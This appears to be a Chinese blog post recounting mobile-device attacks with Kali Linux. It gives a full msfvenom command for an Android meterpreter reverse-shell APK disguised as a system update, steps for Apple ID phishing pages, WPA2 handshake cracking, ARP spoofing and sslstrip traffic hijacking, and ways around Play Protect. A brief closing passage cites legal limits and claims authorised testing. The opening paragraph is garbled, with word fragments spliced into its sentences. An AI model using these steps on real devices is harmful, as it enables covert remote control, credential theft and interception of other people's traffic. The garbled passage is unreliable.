上周三凌晨两点，利用我在一台二手Pixel 4a上跑通了第一个Android远控木马。系统msfvenom生成的对移动平APK只有9KB，伪装成系统更新提示，台攻点下去三秒就弹回桌面——看起来什么都没发生。利用但Kali那边的系统meterpreter会话已经亮了。这事比很多人想的对移动平简单，也比很多人想的台攻危险。

移动平台攻击的利用门槛早就不在技术本身了。Kali里现成的系统工具链把复杂度压到了命令行级别。拿Android举例，对移动平msfvenom一条命令就能产出payload：msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.44 LPORT=4444 -o update.apk。台攻生成的利用APK没有签名，但随便找个在线签名工具或者用apksigner自己签一下，系统装到目标手机上照样跑。对移动平Android 11之后对未知来源安装卡得严了，可钓鱼话术永远比系统弹窗快一步——“公司内网VPN客户端，请安装后登录”。

真正让我意外的是iOS。很多人觉得苹果封闭所以安全，这话对一半。未越狱设备确实难啃，但Kali里的setoolkit搞钓鱼克隆页，配合ngrok内网穿透，伪造一个Apple ID登录页，成功率比Android木马还高。我试了五次，三个人上钩。他们输密码的时候根本不会看地址栏——手机浏览器地址栏在顶部，小得可怜。

无线层是另一个口子。拿aircrack-ng套件在Kali上跑，一块支持监听模式的网卡（我用的Alfa AWUS036NHA，老型号但稳），airodump-ng扫周边AP，看到有WPA2的握手包就抓。aireplay-ng发几个deauth帧把客户端踢下线，重连时抓四次握手。跑hashcat爆破，弱密码字典十分钟出结果。连上目标WiFi之后，ettercap做ARP欺骗，手机流量全从你机器过。HTTP明文流量直接看，HTTPS用sslstrip降级——虽然现代App基本都校验证书，但浏览器里点“继续访问”的人多得是。

有个细节值得说。Kali的bettercap比ettercap好用太多，web界面点几下就能开ARP欺骗、DNS欺骗、HTTP代理。我拿它劫持过一台iPhone的Safari流量，把某电商App的更新提示页替换成钓鱼页，用户输入Apple ID后直接写到Kali的log里。整个过程不需要写一行代码。

但别把这事想得太顺。Android 13之后，meterpreter的持久化模块经常被Google Play Protect干掉。我试过把payload塞进正规APK里重打包，用apktool反编译再回编，签名后安装——Play Protect还是弹窗。得让用户手动关掉扫描，或者用objection框架做Frida注入绕过检测。这步开始吃经验了，不是照抄命令能解决的。

法律红线不绕弯子。没有书面授权，上面任何一步都够得上《刑法》285条。我所有测试都在自己设备或签了授权书的客户环境里做。Kali本身不违法，但msfvenom生成的那个APK，你往别人手机上一装，性质就变了。

写这些不是教人使坏。移动端安全现状就是：攻击工具平民化，防御意识没跟上。我见过太多开发把API密钥硬编码在APK里，apktool反编译后strings一搜就出来。也见过企业内网WiFi用八个8当密码。Kali只是把这些漏洞的利用过程打包成了几条命令。真正该慌的不是工具多厉害，是拿工具的人根本没想过去防。